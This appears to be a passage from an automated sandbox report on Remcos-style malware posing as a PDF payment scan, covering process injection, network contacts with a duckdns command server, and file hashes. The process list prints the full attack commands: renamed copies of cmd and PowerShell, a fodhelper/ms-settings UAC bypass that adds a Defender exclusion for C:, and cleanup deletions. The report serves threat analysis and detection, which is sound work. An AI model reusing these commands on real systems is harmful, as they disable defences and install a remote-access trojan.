Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2360 wrote to memory of 3728 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2360 wrote to memory of 3728 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2360 wrote to memory of 3728 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2360 wrote to memory of 3728 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2360 wrote to memory of 3728 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 3728 wrote to memory of 752 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 3728 wrote to memory of 752 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 752 wrote to memory of 4364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 752 wrote to memory of 4364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 752 wrote to memory of 3776 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 3776 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 4632 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 4632 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2144 wrote to memory of 4812 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2144 wrote to memory of 4812 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 752 wrote to memory of 4956 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 4956 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4956 wrote to memory of 2692 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4956 wrote to memory of 2692 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 752 wrote to memory of 4748 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 4748 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4748 wrote to memory of 3228 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 4748 wrote to memory of 3228 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 752 wrote to memory of 1236 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 752 wrote to memory of 1236 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 752 wrote to memory of 740 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 740 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 740 wrote to memory of 2304 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 740 wrote to memory of 2304 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 752 wrote to memory of 3092 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 3092 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3092 wrote to memory of 2428 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 3092 wrote to memory of 2428 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2428 wrote to memory of 4784 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2428 wrote to memory of 4784 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4784 wrote to memory of 4232 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 4784 wrote to memory of 4232 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 752 wrote to memory of 1964 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 752 wrote to memory of 1964 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 752 wrote to memory of 1488 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 1488 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1488 wrote to memory of 2124 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1488 wrote to memory of 2124 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 752 wrote to memory of 2016 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 2016 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2016 wrote to memory of 3104 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2016 wrote to memory of 3104 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 752 wrote to memory of 4228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 4228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4228 wrote to memory of 1956 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 4228 wrote to memory of 1956 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2360 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\extrac32.exe
PID 2360 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\extrac32.exe
PID 2360 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\extrac32.exe
PID 2360 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\colorcpl.exe
PID 2360 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\colorcpl.exe
PID 2360 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\colorcpl.exe
PID 2360 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\colorcpl.exe
PID 752 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 3600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 752 wrote to memory of 3600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DD12.tmp\DD13.tmp\DD14.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\system32\cmd.exe

cmd.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA_SOA_PaymentReferenceTR-37827392-2024-07-24.Pdf.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM cmd.exe

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\ixgstaahsipladkqimo"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\kzlkttkjgrhqlsyuawbeeu"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\vtzdulvcuzaunyugjzngpzmlae"

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 146.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
DE 50.7.86.226:443 2005.filemail.com tcp
US 8.8.8.8:53 226.86.7.50.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 130.26.198.103.in-addr.arpa udp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp

Files

memory/2360-0-0x00007FFC10470000-0x00007FFC10665000-memory.dmp

memory/2360-1-0x0000000000400000-0x0000000000527000-memory.dmp

memory/3728-11-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3728-8-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3728-5-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/3728-10-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DD12.tmp\DD13.tmp\DD14.bat

MD5 54147a112fd4c4fffbdeb2eeab926f59
SHA1 7f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA512 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/2428-42-0x00000259ACBC0000-0x00000259ACBE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mn3y4gom.bry.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

memory/3728-78-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3728-76-0x0000000000400000-0x0000000001400000-memory.dmp

memory/1820-85-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-84-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-82-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-81-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-83-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-79-0x0000000005260000-0x0000000006260000-memory.dmp

memory/1820-87-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-89-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-90-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-93-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-92-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-94-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-95-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-97-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-100-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-99-0x0000000000400000-0x0000000000482000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 21d6f2a2716a049d0264becaca5d9403
SHA1 a94a94cb44dbd0a184d67b5f37d245a17a4866c6
SHA256 2e68a6484b06102d4b1d229cebbef37352711907820c9013cfac476b0af80687
SHA512 9ce8a53fd0917745057796cbf82fafaca7a404f473e2948be35d35add43f9f8afdb4b523e3845b8b927ba2d2b871f0e8f36bac5d37229db52dde97cbe6a3434f

memory/4144-104-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3544-107-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4144-108-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2916-111-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3544-112-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4144-110-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2916-109-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3544-106-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2916-105-0x0000000000400000-0x0000000000462000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ixgstaahsipladkqimo

MD5 60e30555becdb968406edb87fff512ef
SHA1 65551417f6371c40e6d5dab38fe87ab634f9446e
SHA256 9e347aa1a363532c72d7728abe1afdc48b9418fae8cbf8bcbc50c9c22dfefa57
SHA512 cbe1aebf171b54f481028208aa85fb04145cc40772cc30e67107caa5cc70c73f274da362766f125093c1fab1416c687744e53e0f7c30b6ead866c6f6ba671449

memory/1820-118-0x000000001D240000-0x000000001D259000-memory.dmp

memory/1820-121-0x000000001D240000-0x000000001D259000-memory.dmp

memory/1820-122-0x000000001D240000-0x000000001D259000-memory.dmp

memory/1820-123-0x0000000000400000-0x0000000000482000-memory.dmp

